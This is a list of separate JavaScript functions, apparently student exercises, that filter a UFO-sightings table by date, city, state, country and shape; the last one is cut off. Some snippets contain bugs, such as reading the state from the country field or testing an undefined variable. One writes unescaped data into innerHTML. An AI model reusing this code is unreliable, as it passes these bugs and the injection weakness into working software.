"function filterTable() {\n \n // 8. Set the filtered data to the tableData.\n // Following 11.5.3 (2021), we'll do just that.\n // Similarly, we'll grab five separate values, including the datetime value, \n // in a manner similar to our code from 11.5.3 (2021).\n let date = d3.select(\"#datetime\").property(\"value\");\n let city = d3.select(\"#city\").property(\"value\");\n let state = d3.select(\"#country\").property(\"value\")\n let country = d3.select(\"#country\").property(\"value\")\n let shape = d3.select(\"#shape\").property(\"value\")\n let filteredData = tableData;\n \n // 9. Loop through all of the filters and keep any data that\n // matches the filter values\n // Continuing with our refactoring of 11.5.3 (2021) code, we'll specify if statements\n // for each distinct value\n if (date) {\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n if (city) {\n filteredData = filteredData.filter(row => row.city === city)\n }\n if (state) {\n filteredData = filteredData.filter(row => row.state === state)\n }\n if (country) {\n filteredData = filteredData.filter(row => row.country === country)\n }\n if (shape) {\n filteredData = filteredData.filter(row => row.shape === shape)\n }\n\n // 10. Finally, rebuild the table using the filtered data\n buildTable(filteredData)\n }", "function myFilter() {\n var input, filter, table, tr, td, td1, i, txtValue;\n input = document.getElementById(\"datetime\");\n filter = input.value.toUpperCase();\n table = document.getElementById(\"ufo-table\");\n tr = table.getElementsByTagName(\"tr\");\n for (i = 0; i < tr.length; i++) {\n\n // determines what column to filter by. \"0\" is date, 1 is city, etc.\n td = tr[i].getElementsByTagName(\"td\")[0];\n\n if (td) {\n txtValue = td.textContent || td.innerText;\n if (txtValue.toUpperCase().indexOf(filter) > -1)\n\n {\n tr[i].style.display = \"\";\n } else {\n tr[i].style.display = \"none\";\n }\n } \n }\n }", "function buildAndExecFilter() {\n var show = [];\n var filters = document.getElementsByName('tablefilter');\n for (var i = 0; i < filters.length; i++) {\n if (filters[i].checked) {\n show.push(filters[i].value);\n }\n }\n execFilter(show); // Filter based on selected values\n }", "function filterData() {\n\n // get date filter value\n var date = d3.select(\"#datetime\").property(\"value\");\n var country = d3.select(\"#country\").property(\"value\").toLowerCase();\n var city = d3.select(\"#city\").property(\"value\").toLowerCase();\n var state = d3.select(\"#state\").property(\"value\").toLowerCase();\n var shape = d3.select(\"#shape\").property(\"value\").toLowerCase();\n\n // initialize filteredData\n var filteredData = tableData;\n\n // check that date field is valid\n if (date) {\n // if the date is a non-null / non-empty value, apply the filter\n filteredData = filteredData.filter(row => row.datetime == date);\n }\n // filter for country\n if (country) {\n // if the country is a non-null / non-empty value, apply the filter\n filteredData = filteredData.filter(row => row.country == country);\n }\n // filter for state\n if (state) {\n // if the state is a non-null / non-empty value, apply the filter\n filteredData = filteredData.filter(row => row.state == state);\n }\n // filter for city\n if (city) {\n // if the city is a non-null / non-empty value, apply the filter\n filteredData = filteredData.filter(row => row.city == city);\n }\n // filter for shape\n if (shape) {\n // if the shape is a non-null / non-empty value, apply the filter\n filteredData = filteredData.filter(row => row.shape == shape);\n }\n\n\n // rebuild table\n buildTable(filteredData);\n}", "function runEnter(){\n // Prevent the page from refreshing\n d3.event.preventDefault();\n // Get the value property of the input element\n var inputDate = inputField1.property(\"value\")\n var inputCity = inputField2.property(\"value\")\n var inputState = inputField3.property(\"value\")\n var inputShape = inputField4.property(\"value\")\n var inputCountry = inputField5.property(\"value\")\n\n // Filter by field matching input value\n var filterCountry = data.filter(data => data.country === inputCountry);\n console.log(filterCountry)\n var filterDate = data.filter(data => data.datetime === inputDate);\n console.log(filterDate)\n var filterCity = data.filter(data => data.city === inputCity);\n console.log(filterCity)\n var filterState = data.filter(data => data.state === inputState);\n console.log(filterState)\n var filterShape = data.filter(data => data.shape === inputShape);\n console.log(filterShape)\n\n var filterData = data.filter(data => data.country === inputCountry && data.datetime === inputDate && data.city === inputCity && data.state === inputState && data.shape === inputShape);\n console.log(filterData)\n\n // remove any children from the tbody to\n tbody.html(\"\")\n\n // append data to the table\n filterData.forEach((filterData)=>{\n var row = tbody.append(\"tr\")\n Object.entries(filterData).forEach(([k, v])=>{\n var filtercell = row.append(\"td\").text(v);\n })\n })\n\n // if no data is available for the chosen filter write \"No results found\"\n if (filterData.length === 0) {tbody.append(\"tr\").append(\"td\").text(\"No results found!\")}\n\n // reset button removes any children from the tbody and populates the unfiltered data\n resetbtn.on(\"click\", () => {\n tbody.html(\"\");\n data.forEach(ufoSighting => {\n var row = tbody.append(\"tr\");\n Object.entries(ufoSighting).forEach(([key, value])=>{\n var cell = row.append(\"td\").text(value)\n })\n });\n })\n}", "function UFOFilter() {\n\t\t\n\t\t// Prevent Page from Refreshing\n\t\td3.event.preventDefault();\n\t\t\n\t\t// Select Input Element\n\t\tvar inputElement = d3.select(\"#datetime\");\n\t\t\n\t\t// Select Input Value\n\t\tvar inputValue = inputElement.property(\"value\");\n\t\t\tconsole.log(inputValue);\n\t\t\t\t\n\t\t// Filter based on Input Value\n\t\tvar filteredDates = tableData.filter(observee => observee.datetime === inputValue);\n\t\t\t\n\t\t\t// Log filtered dates in console to ensure code is working\n\t\t\tconsole.log(filteredDates);\n\t\t\n\t\t// Rebuild table using function in Task 1, but with filtered dates only\t\n\t\tUFOData(filteredDates);\n\t}", "function filterTable() {\n d3.event.preventDefault();\n\n tbody.html(\"\");\n\n // Select the input element and get the raw HTML node\n let inputElement = d3.select(\"#datetime\"),\n // Get the value property of the input element\n inputValue = inputElement.property(\"value\");\n // Use the form input to filter the data by blood type\n let filterData = tableData.filter(ufo => ufo.datetime === inputValue);\n\n filterData.forEach((ufo) => {\n let row = tbody.append(\"tr\");\n Object.values(ufo).forEach(value => {\n let cell = row.append(\"td\");\n cell.text(value);\n });\n });\n\n}", "function handleSearchButtonClickCountry() {\n // Format the user's search by removing leading and trailing whitespace\n var filterCountry = $countryInput.value.trim().toLowerCase();\n\n // Set ufoSightings to an array of all dataSet whose \"date\" matches the filter\n ufoSightings = dataSet.filter(function(sightings) {\n var sightingCountry = sightings.country.toLowerCase();\n\n // If true, add the sighting to the filterState, otherwise don't add it to filterState\n return sightingCountry === filterCountry;\n });\n renderTable();\n}", "function dataFilter() { \n\n // Select the date from the in put\n var date = inputField.property(\"value\");\n\n // Set temporary variable to be written over with reduced data\n tempData = tableData;\n\n // Condition to check date goes here, if DNE or empty then load normally\n if (date) { // This will check if there is a value that have been passed\n tempData = tempData.filter(ufoData => ufoData.datetime === date)\n }\n\n tableTalk(tempData);\n}", "function myFilter() {\n //created empty object\n var conditions = {};\n\n //set data to new variable\n var filterData = tableData;\n\n //got the value for the user input for date and pushed it to the empty object\n var date = d3.select('#datetime').property('value');\n if(date) {conditions.datetime = date;}\n\n //got the value for the user input for city and pushed it to the empty object\n var cityIn = d3.select('#city').property('value').toLowerCase();\n if(cityIn){conditions.city = cityIn;}\n\n //got the value for the user input for state and pushed it to the empty object\n var stateIn = d3.select('#state').property('value').toLowerCase();\n if(stateIn){conditions.state = stateIn}\n\n //got the value for the user input for country and pushed it to the empty object\n var countryIn = d3.select('#country').property('value').toLowerCase();\n if(countryIn) {conditions.country = countryIn}\n\n //got the value for the user input for shape and pushed it to the empty object\n var shapeIn = d3.select('#shape').property('value').toLowerCase();\n if(shapeIn) {conditions.shape = shapeIn}\n \n console.log(conditions); \n\n //itrated throught he conditions object to filter the dataset by each key and value\n Object.entries(conditions).forEach(([key, value]) => {\n console.log(key);\n console.log(value);\n filterData = filterData.filter(row => row[key] === value);\n console.log(filterData); \n });\n \n //called the function with the filtered data from the data.js file\n tableBuild(filterData);\n}", "function runEnter(){\n\n //prevent default\n d3.event.preventDefault();\n\n //select the input elements for the three different filter options and get the raw HTML code\n var inputElement = d3.select(\"#datetime\");\n var inputElement2 = d3.select(\"#statesearch\");\n var inputElement3 = d3.select(\"#citysearch\");\n\n //get the value property for each of the three filter options\n var inputDate = inputElement.property(\"value\");\n var inputState = inputElement2.property(\"value\").toLowerCase();\n var inputCity = inputElement3.property(\"value\").toLowerCase();\n\n //establish the data that we are going to start filtering and set it to a variable\n var filteredData = tableData\n\n //overwrite the filtereData variable with the filter for each input value\n //if there is no input value for one of the filters it will just move to the next \"if\" statement\n if (inputDate) {\n filteredData = filteredData.filter(sighting => sighting.datetime===inputDate)\n }\n\n if (inputState) {\n filteredData = filteredData.filter(sighting => sighting.state===inputState)\n }\n\n if (inputCity) {\n filteredData = filteredData.filter(sighting => sighting.city===inputCity)\n }\n\n //check in the console to make sure our filtered data is correct\n console.log(filteredData)\n\n //call our populate table function inside this function so that it will replace the table with our filtered data\n populateTable(filteredData)\n}", "function buttonClick(){\n // Prevent the page from refreshing\n d3.event.preventDefault();\n // Create & display new table with filtered/searched data\n var filtered_table = tableData.filter(ufo_sighting => \n (ufo_sighting.datetime===dateInputText.property(\"value\") || dateInputText.property(\"value\")=== \"\")\n && (ufo_sighting.city===cityInputText.property(\"value\") || cityInputText.property(\"value\")=== \"\")\n && (ufo_sighting.state===stateInputText.property(\"value\") || stateInputText.property(\"value\")=== \"\")\n && (ufo_sighting.country===countryInputText.property(\"value\") || countryInputText.property(\"value\")=== \"\")\n && (ufo_sighting.shape===shapeInputText.property(\"value\") || shapeInputText.property(\"value\")=== \"\"))\n displayData(filtered_table);\n}", "function setupFilterTable() {\n\t\t\tif($(\".filteredtable\").length) {\n\t\t\t\tvar classes = $(\".filteredtable\").attr(\"class\").split(' ');\n\t\t\t\tvar column = -1;\n\t\t\t\tvar keyword = -1;\n\t\t\t\tvar hideoption = -1;\n\t\t\t\tvar prefilter = -1;\n\t\t\t\tfor (var i in classes) {\n\t\t\t\t\tvar classdata = classes[i].match(/column(\\d)/);\n\t\t\t\t\tif (classdata != null) {\n\t\t\t\t\t\tcolumn = classdata[1];\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclassdata = classes[i].match(/keyword(\\d)/);\n\t\t\t\t\t\tif (classdata != null) {\n\t\t\t\t\t\tkeyword = classdata[1];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tif ($(\"#filteroptions\").length > 0) {\n\t\t\t\t var options = $(\"#filteroptions\").attr(\"class\").split(' ');\n\t\t\t\t for (var i in options) {\n\t\t\t\t\thidecolumn = options[i].match(/hidecolumn(\\d)/);\n\t\t\t\t\tif (hidecolumn != null) {\n\t\t\t\t\t hideoption = hidecolumn[1];\n\t\t\t\t\t} else if (options[i].match(/prefilter/)) {\n\t\t\t\t\t prefilter = $(\"#filteroptions\").attr(\"title\");\n\t\t\t\t\t}\n\t\t\t\t }\n\t\t\t\t}\n\t\t\t\t$(\".filteredtable\").before(\"<div id=\\\"calendar-search\\\"><p class=\\\"dropdown\\\">\" + $(\".filteredtable thead th:nth-child(\" + column + \")\").text() + \": <select id=\\\"filter\\\"><option value=\\\"\\\">View All</option></select></p><p class=\\\"filtersearch\\\">Search: <input type=\\\"text\\\" id=\\\"filtersearch\\\"/></p></div>\");\n\t\t\t\tif (isMobile) {\n\t\t\t\t\t$(\"#calendar-search .filtersearch\").append(\"<input type=\\\"button\\\" value=\\\"Go\\\">\");\n\t\t\t\t}\n\t\t\t\tvar cats = new Array();\n\t\t\t\t$(\".filteredtable tbody tr td:nth-child(\" + column + \")\").each(function() {\n\t\t\t\t\tvar vals = $(this).text().split(\", \");\n\t\t\t\t\tfor (var i in vals) {\n\t\t\t\t\t\tif (jQuery.inArray($.trim(vals[i]), cats) == -1) {\n\t\t\t\t\t\t\tcats.push($.trim(vals[i]));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tif (keyword > 0) {\n\t\t\t\t\t$(\".filteredtable tr td:nth-child(\" + keyword + \")\").css(\"display\", \"none\");\n\t\t\t\t\t$(\".filteredtable tr th:nth-child(\" + keyword + \")\").css(\"display\", \"none\");\n\t\t\t\t}\n\t\t\t\tif (hideoption > 0) {\n\t\t\t\t\t$(\".filteredtable tr td:nth-child(\" + hideoption + \")\").css(\"display\", \"none\");\n\t\t\t\t\t$(\".filteredtable tr th:nth-child(\" + hideoption + \")\").css(\"display\", \"none\");\n\t\t\t\t}\n\t\t\t\tcats.sort();\n\t\t\t\tfor (var i in cats) {\n\t\t\t\t\t$(\"#filter\").append(\"<option>\"+cats[i]+\"</option>\");\n\t\t\t\t}\n\t\t\t\n\t\t\t\t$(\"#filter\").change(function() {\n\t\t\t\t\tsearchtable();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$(\"#filtersearch\").keyup(function() {\n\t\t\t\t\tsearchtable();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tfunction searchtable() {\n\t\t\t\t\t/* Filter the table */\n\t\t\t\t\t$.uiTableFilter( $('table.filteredtable'), $(\"#filtersearch\").val(), $(\"#filter\").val(), $(\".filteredtable thead th:nth-child(\" + column + \")\").text());\n\t\t\t\t\t/* Remove tints from all rows */\n\t\t\t\t\t$('table.filteredtable tr').removeClass(\"even\");\n\t\t\t\t\t/* Filter through what is still displaying and change the tints */\n\t\t\t\t\tvar counter = 0;\n\t\t\t\t\t$('table.filteredtable tr').each(function() {\n\t\t\t\t\t\t\t\t\t if($(this).css(\"display\") != \"none\") {\n\t\t\t\t\t\t\t\t\t\t if (counter % 2) {\n\t\t\t\t\t\t\t\t\t\t $(this).addClass(\"even\");\n\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t counter++;\n\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t });\n\t\t\t\t}\n\t\t\n\t\t\t\tif (prefilter != -1) {\n\t\t\t\t $(\"#filter\").val(prefilter);\n\t\t\t\t searchtable();\n\t\t\t\t}\n\t\t\t\tif ($(\"#filteroptions.hidefilters\").length) {\n\t\t\t\t $(\"#calendar-search\").hide();\n\t\t\t\t}\n\t\t\n\n\t\t\t\t$('#filter-form').submit(function(){\n\t\t\t\t\treturn false;\n\t\t\t\t}).focus(); //Give focus to input field\n\t\t\t}\n\t\t}", "function handleClick3(){\n d3.event.preventDefault()\n var country = d3.select(\"#country\").property(\"value\");\n var filterData = tableData;\n if (city){\n filterData = filterData.filter((row) => row.country == country);\n }\n buildTable(filterData);\n}", "function filterData() {\n // Remove all table rows from tbody (update table)\n var table = d3.select(\"tbody\").selectAll(\"tr\").remove();\n\n\n // Select the input element and get the raw HTML node\n var newText = d3.event.target.value;\n console.log(`Event value: ${newText}`)\n // Define a selector to identify which id was triggered\n var inputSelector = d3.event.target.id;\n console.log(`Event id: ${inputSelector}`)\n\n // selectFieldChange(inputSelector, 'datetime', newText)\n\n\n // Conditional tests based on the selector id to build the filter object\n if (inputSelector == 'datetime' & newText == '') {\n delete filter.datetime;\n console.log('datetime: AAA');\n } else if (inputSelector == 'datetime') {\n filter.datetime = newText;\n oldDateText = newText;\n console.log('datetime: BBB');\n } else if (inputSelector != 'datetime' & oldDateText == '') {\n filter.datetime = oldDateText;\n delete filter.datetime;\n console.log('datetime CCC');\n };\n\n if (inputSelector == 'city' & newText == '') {\n delete filter.city;\n console.log(`${inputSelector}: AAA`);\n } else if (inputSelector == 'city') {\n filter.city = newText;\n oldCityText = newText;\n console.log(`${inputSelector}: BBB`);\n } else if (inputSelector != 'city' & oldCityText == '') {\n filter.city = oldCityText;\n delete filter.city;\n console.log(`${inputSelector}: CCC`);\n };\n\n if (inputSelector == 'state' & newText == '') {\n delete filter.state;\n console.log(`${inputSelector}: AAA`);\n } else if (inputSelector == 'state') {\n filter.state = newText;\n oldStateText = newText;\n console.log(`${inputSelector}: BBB`);\n } else if (inputSelector != 'state' & oldCityText == '') {\n filter.state = oldStateText;\n delete filter.state;\n console.log(`${inputSelector}: CCC`);\n };\n\n if (inputSelector == 'country' & newText == '') {\n delete filter.country;\n console.log(`${inputSelector}: AAA`);\n } else if (inputSelector == 'country') {\n filter.country = newText;\n oldCountryText = newText;\n console.log(`${inputSelector}: BBB`);\n } else if (inputSelector != 'state' & oldCountryText == '') {\n filter.country = oldCountryText;\n delete filter.country;\n console.log(`${inputSelector}: CCC`);\n };\n\n if (inputSelector == 'shape' & newText == '') {\n // var escapeTest = + 1;\n delete filter.shape;\n console.log(`${inputSelector}: AAA`);\n } else if (inputSelector == 'shape') {\n filter.shape = newText;\n oldShapeText = newText;\n console.log(`${inputSelector}: BBB`);\n } else if (inputSelector != 'shape' & oldShapeText == '') {\n filter.shape = oldShapeText;\n delete filter.shape;\n console.log(`${inputSelector}: CCC`);\n };\n console.log(filter)\n\n // Conditional test to filter the data or load the whole table\n\n if (filter.length == 0) {\n // If the filter object is empty then load the table with origina/ulfitered data\n updateTable(ufos, tbody);\n } else {\n // Filter data based on the filter object\n var results = data.filter(item => {\n for (let key in filter) {\n if (item[key] === undefined || item[key] != filter[key])\n return false;\n }\n return true;\n });\n // Load table with filtered data\n updateTable(results, tbody);\n };\n}", "function fillFilters(filter) {\n if (filter !== null) {\n var allEventsList = document.getElementById(\"allEvents\").value.slice(1, -1).split(\", \");\n filterInSelect.innerHTML = \"\";\n if (filter.length > 0 && filter[0] !== \"\") {\n var search;\n for (i = 0; i < filter.length; i++) {\n search = filter[i];\n if (allEventsList.indexOf(search) !== -1) {\n allEventsList = removeFromArray(allEventsList, search);\n filterInSelect.add(new Option(filter[i], filter[i], false, false));\n }\n }\n }\n filterOutSelect.innerHTML = \"\";\n if (allEventsList.length > 0 && allEventsList[0] !== \"\") {\n for (i = 0; i < allEventsList.length; i++) {\n filterOutSelect.add(new Option(allEventsList[i], allEventsList[i], false, false));\n }\n }\n }\n }", "function filterData() {\n \n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Get filter input\n var dateFilter = d3.select(\"#datetime\").property(\"value\");\n\n // Filter tableData for selection\n var filteredData = tableData;\n if (dateFilter !== \"\") {\n var filteredData = filteredData.filter(sighting => sighting.datetime === dateFilter);\n };\n\n // remove existing table data\n d3.select(\"tbody\").remove();\n\n // add table body back\n table.append(\"tbody\");\n\n // reload table\n loadTable(filteredData);\n}", "function runFilter() {\r\n // jQuery method for emptying the existing table each time\r\n // a new query is performed\r\n $(\"#tbody\").empty();\r\n // Select the input element and get the raw HTML node\r\n var inputElement = d3.select(\"#datetime\");\r\n // Get the value property of the input element\r\n var inputValue = inputElement.property(\"value\");\r\n // Only return values that match with input date\r\n var filteredData = data.filter(data => data.datetime === inputValue);\r\n // Prevent the page from refreshing after form submission\r\n d3.event.preventDefault();\r\n // Function to add filtered data to table\r\n filteredData.forEach((runFilteredData) => {\r\n // Add a row for each key/value pair found in filtered dataset\r\n var row = tbody.append(\"tr\");\r\n // Append values found in filtered data set to appropriate columns\r\n Object.entries(runFilteredData).forEach(([key, value]) => {\r\n var cell = row.append(\"td\");\r\n cell.text(value);\r\n });\r\n });\r\n // jQuery method for emptying the input field after click\r\n $(\"#datetime\").val('');\r\n}", "function buildFilters() {\r\n\tconsole.log('buildFilters');\r\n\t\r\n\t// Remove existing filters\r\n\tvar cells = $('#sjo-api-row-filter td').empty();\r\n\t\r\n\t// Don't build filters on short data set\r\n\t// TODO: parameterise this\r\n\tif (data.length >= 10) {\r\n\t\t\r\n\t\t// Loop through filterable fields\r\n\t\tvar values;\r\n\t\t$.each(tableColumns, (colIndex, column) => {\r\n\t\t\tvar field = dataFields[column.name];\r\n\t\t\t\r\n\t\t\tif (column.has) {\r\n\t\t\t\t\r\n\t\t\t\t// Add checkbox to table header\r\n\t\t\t\t// TODO: add checkboxes to other sparse data (DOB, link fields, image, gender, elected)\r\n\t\t\t\t$(`<input type=\"checkbox\" class=\"sjo-api-filter-checkbox\" id=\"sjo-api-filter-__has_${column.name}\">`)\r\n\t\t\t\t\t.addClass(field.group ? 'sjo-api-filter-group-' + field.group : '')\r\n\t\t\t\t\t.prop('indeterminate', true).data('sjo-api-checked', 1).click(cycleCheckbox).appendTo(cells[colIndex]);\r\n\t\t\t\t\r\n\t\t\t} else if (field.filter) {\r\n\t\t\t\t\r\n\t\t\t\t// Build list of filter options\r\n\t\t\t\tvalues = [];\r\n\t\t\t\t$.each(data, (index, record) => {\r\n\t\t\t\t\tvar set = column.set >= 0 ? column.set : record[0] ? 0 : 1;\r\n\t\t\t\t\tif (!record[set]) return;\r\n\t\t\t\t\tif (values.indexOf(record[set][column.name]) < 0) {\r\n\t\t\t\t\t\tvalues.push(record[set][column.name]);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t// Add wildcard options\r\n\t\t\t\t\t\tif (column.name == '_election_area' && currentExtract.urls[0] == allCandidatesUrl && record[set]._election_type != record[set]._election_area) {\r\n\t\t\t\t\t\t\tvar wildcardOption = record[set]._election_type + '.*';\r\n\t\t\t\t\t\t\tif (values.indexOf(wildcardOption) < 0) {\r\n\t\t\t\t\t\t\t\tvalues.push(wildcardOption);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t\t\r\n\t\t\t\t// Don't show filter for only one value\r\n\t\t\t\tconsole.log('buildFilters', column, field, values);\r\n\t\t\t\tif (values.length <= 1) return;\r\n\t\t\t\t\r\n\t\t\t\t// Add dropdown to table header\r\n\t\t\t\tvar dropdownId = 'sjo-api-filter-' + column.name + (column.set >= 0 ? '__' + column.set : '');\r\n\t\t\t\tvar dropdown = $(`<select multiple class=\"sjo-api-filter\" id=\"${dropdownId}\"></select>`)\r\n\t\t\t\t\t.data('sjo-api-set', column.set)\r\n\t\t\t\t\t.html(values.sort().map(value => `<option>${escapeHtml(value)}</option>`).join(''))\r\n\t\t\t\t\t.appendTo(cells[colIndex]);\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t});\r\n\t\t\t\r\n\t}\r\n\t\r\n\t// Apply the new filters\r\n\tapplyFilters(formatFilters);\r\n\t\r\n\tfunction formatFilters() {\r\n\t\t$('select.sjo-api-filter').chosen({\r\n\t\t\t'placeholder_text_multiple': ' ',\r\n\t\t\t'search_contains': true,\r\n\t\t\t'inherit_select_classes': true,\r\n\t\t\t//'width': field['filter-width'],\r\n\t\t\t'width': '100%',\r\n\t\t});\r\n\r\n\t}\r\n\t\r\n}", "function HandleFilterSelect(el_input) {\n console.log( \"===== HandleFilterSelect ========= \");\n //console.log( \"el_input\", el_input);\n\n // - get current value of filter from filter_dict, set to '0' if filter doesn't exist yet\n const col_index = el_input.parentNode.cellIndex;\n const filter_array = (col_index in filter_dict) ? filter_dict[col_index] : [];\n const filter_value = (filter_array[1]) ? filter_array[1] : \"0\";\n\n const filter_tag = get_attr_from_el(el_input, \"data-filtertag\");\n const field_name = get_attr_from_el(el_input, \"data-field\");\n\n console.log( \"filter_array\", filter_array);\n console.log( \"filter_value\", field_name);\n// - toggle filter value\n // default filter triple '0'; is show all, '1' is show tickmark, '2' is show without tickmark\n const new_value = (filter_value === \"1\") ? \"0\" : \"1\";\nconsole.log( \"new_value\", new_value);\n el_input.innerHTML = (new_value === \"1\") ? \"&#9658;\" : null; // \"&#9658;\" is black pointer right\n\n// - put new filter value in filter_dict\n filter_dict[col_index] = [filter_tag, new_value]\n console.log( \"filter_dict\", filter_dict);\n\n // select or deselect all visible rows of tblrow\n // --- loop through tblBody.rows\n for (let i = 0, tblRow, show_row; tblRow = tblBody_datatable.rows[i]; i++) {\n if (!tblRow.classList.contains(\"display_hide\")){\n if (new_value === \"1\"){\n t_tr_selected_set(tblRow);\n } else {\n t_tr_selected_remove(tblRow);\n };\n };\n };\n }", "function runFilter() {\n d3.event.preventDefault();\n var inputField = d3.select(\"#datetime\");\n var inputValue = inputField.property(\"value\");\n var filterByDate = tableData.filter(rowData => rowData.datetime === inputValue);\n tbody.html(\"\")\n filterByDate.forEach(sighting => {\n var row = tbody.append(\"tr\");\n Object.values(sighting).forEach(value => {\n row.append(\"td\").text(value);\n });\n });\n}", "function userClicked() {\n // selects elements\n let inputValue = d3.select(\"#datetime\").property(\"value\")\n let filtered = tableData\n // checks input and filters\n if (inputValue) {\n filtered = filtered.filter(newRow => newRow.datetime === inputValue)\n };\n // filtered table data\n ufoTable(filtered)\n}", "function updateFilters() {\n\n //resetting filter variable\n filters = {}\n\n // Save the element, value, and id of the filter that was changed\n let date = d3.select(\"#datetime\").property(\"value\");\n let city = d3.select('#city').property(\"value\")\n let state = d3.select('#state').property(\"value\")\n let country = d3.select('#country').property(\"value\")\n let shape = d3.select('#shape').property(\"value\")\n\n // If a filter value was entered then add that filter Id and value\n // to the filters list. Otherwise, clear that filter from the filters object\n if (date === \"\" ) {\n delete date\n }\n else {filters[\"datetime\"] = date}\n if (city === \"\" ) {\n delete city\n }\n else {filters[\"city\"] = city}\n if (state === \"\" ) {\n delete state\n }\n else {filters[\"state\"] = state}\n if (country === \"\" ) {\n delete country\n }\n else {filters[\"country\"] = country}\n if (shape === \"\" ) {\n delete shape\n }\n else {filters[\"shape\"] = shape}\n\n // Call function to apply all filters and rebuild the table\n filterTable(filters);\n}", "function runEnter() {\n\n// Prevent the page from refreshing\nd3.event.preventDefault();\n\n// Select the input element and get the raw HTML node\nvar inputDatetime = d3.select(\"#datetime\");\nvar inputState = d3.select(\"#state\");\nvar inputCountry = d3.select(\"#country\");\nvar inputCity = d3.select(\"#city\");\nvar inputShape = d3.select(\"#shape\");\n\n// I get the value properties for all of my inputs and code them as variables.\nvar date_filter = inputDatetime.property(\"value\");\nvar state_filter = inputState.property(\"value\");\nvar city_filter = inputCity.property(\"value\");\nvar country_filter = inputCountry.property(\"value\");\nvar shape_filter = inputShape.property(\"value\");\n\n// I then make a filter key of the values to be able to pass it into my filter function. To allow users to only input some values and not all\n// I created conditional statements to check if the value is empty. This means that my filter key only adds actually values to my filter dictionary.\n\n\nvar filter_key = {};\nif (date_filter !== \"\") {filter_key[\"datetime\"] = date_filter};\nif (city_filter !== \"\") {filter_key[\"city\"] = city_filter};\nif (state_filter !== \"\") {filter_key[\"state\"] = state_filter};\nif (country_filter !== \"\") {filter_key[\"country\"] = country_filter};\nif (shape_filter !== \"\") {filter_key[\"shape\"] = shape_filter};\n\n \nconsole.log(filter_key);\n\n// I found this function on stackoverflow after trying a few things myself. https://stackoverflow.com/questions/31831651/javascript-filter-array-multiple-conditions/56784041\n// it was really clean because what it does is it takes my filtered key and checks if there are values in the key. If they key is undefined then it is passed, but if it is defined\n// it then filters the ufo data. I create a var called filteredData which contains my values then I run it through the code from my first page that prints it to an html table.\n \nvar filteredData = ufos.filter(\n function(item) {\n for (var key in filter_key) {\n if (filter_key[key] === undefined || item[key] != filter_key[key])\n return false;\n }\n return true;\n });\n\nconsole.log(filteredData);\n\nvar tableHTML = \"<tr>\";\n for (var headers in filteredData[0]) {\n tableHTML += \"<th>\" + headers + \"</th>\";\n }\n tableHTML += \"</tr>\";\n\n for (var eachItem in filteredData) {\n tableHTML += \"<tr>\";\n var dataObj = filteredData[eachItem];\n for (var eachValue in dataObj){\n tableHTML += \"<td>\" + dataObj[eachValue] + \"</td>\";\n }\n tableHTML += \"</tr>\";\n }\n\n document.getElementById(\"ufotable\").innerHTML = tableHTML;\n}", "function filter_1_3 (){\n filterType = \"\";\n filterAgeMin = 1;\n filterAgeMax = 3;\n loadTableWithFilters();\n\n}", "function setFilterActionTable(){\n\t//init table input filter\n\t$(\".data-filter-table\").keyup(function(){\n\t\tvar rows=$(\"#\"+$(this).data(\"filter\") + \" tr\");\n\t\tvar filterValue=$(this).val().toLowerCase();\n\t\trows.each(function(){\n\t\t\tif($(this).find(\"td\").text().toLowerCase().includes(filterValue)) $(this).show();\n\t\t\telse $(this).hide();\n\t\t})\n\t\t//show header row\n\t\t$(\"#\"+$(this).data(\"filter\") + \" tr:first-child\").show();\n\t});\n\t\n\t//checkbox click events\n\t$(\"input[name=days]\").click(function(){\n\t\tif($(this).val()==\"\"){\n\t\t\t//if All button\n\t\t\tif($(this).prop(\"checked\")){\n\t\t\t\t//check all days\n\t\t\t\t$(\"input[name=days]\").prop(\"checked\",true);\n\t\t\t\t$(\".dayrow\").hide();\n\t\t\t\t$(\".everyday_cell\").show();\n\t\t\t} else {\n\t\t\t\t//uncheck all days\n\t\t\t\t$(\"input[name=days]\").prop(\"checked\",false);\n\t\t\t\t$(\".dayrow\").show();\n\t\t\t\t$(\".everyday_cell\").hide();\n\t\t\t}\n\t\t} else {\n\t\t\t//rest of buttons\n\t\t\t$(\"input[name=days]:first\").prop(\"checked\",false);\n\t\t}\n\t});\n}", "function showData() {\n\n let showAll = 'Show All';\n\n let dropDownDate = d3.select(\"#selectDate\").node().value;\n let dateValue;\n if (dropDownDate === showAll) {\n dateValue = x => x.datetime;\n }\n else {\n dateValue = x => x.datetime === dropDownDate;\n }\n \n let dropDownCity = d3.select(\"#selectCity\").node().value;\n let cityValue;\n // instead of IF else use this: cityValue = (cond) ? do this: do that ;\n if (dropDownCity === showAll){\n cityValue = x => x.city;\n }\n else {\n cityValue = x => x.city === dropDownCity.toLowerCase();\n };\n\n let dropDownState = d3.select(\"#selectState\").node().value;\n let stateValue;\n if (dropDownState === showAll){\n stateValue = x => x.state;\n }\n else {\n stateValue = x => x.state === dropDownState.toLowerCase();\n };\n\n let dropDownCountry = d3.select(\"#selectCountry\").node().value;\n let countryValue;\n if (dropDownCountry === showAll){\n countryValue = x => x.country;\n }\n else {\n countryValue = x => x.country === dropDownCountry.toLowerCase();\n };\n\n let dropDownShape = d3.select(\"#selectShape\").node().value;\n let shapeValue;\n if (dropDownShape === showAll) {\n shapeValue = x => x.shape;\n }\n else {\n shapeValue = x => x.shape === dropDownShape.toLowerCase();\n };\n\n let UFOfilter = tdata.filter(dateValue).filter(cityValue).filter(stateValue).filter(countryValue).filter(shapeValue);\n\n buildTable(UFOfilter); \n}", "function handleClick() {\n // get the datetime value from filter\n let date = d3.select(\"#datetime\").property(\"value\");\n // set the unfiltered data to the table data\n let filteredData=tableData;\n // check to see if date was entered and then filter with that date\n if (date){\n 